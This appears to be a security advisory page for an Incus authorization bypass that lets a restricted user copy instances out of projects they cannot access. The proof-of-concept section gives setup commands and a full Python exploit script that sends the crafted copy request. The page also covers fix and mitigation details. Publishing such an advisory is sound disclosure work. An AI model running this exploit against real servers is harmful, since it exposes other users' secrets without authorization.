GHSA-c9f5-j9c3-mhrg is a high-severity (CVSS 7.7) CWE-284 vulnerability in github.com/lxc/incus/v7/cmd/incusd. A fix is available for github.com/lxc/incus/v7/cmd/incusd — see the affected versions and patch details below.
Incus has a project restriction bypass in instance copy across projects
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c9f5-j9c3-mhrg.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-c9f5-j9c3-mhrg by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/lxc/incus/v7/cmd/incusdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
Assumes the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v7/cmd/incusd | all versions | 7.2.0go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c9f5-j9c3-mhrg is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-c9f5-j9c3-mhrg in your dependencies?
Find it across Go, including transitive dependencies.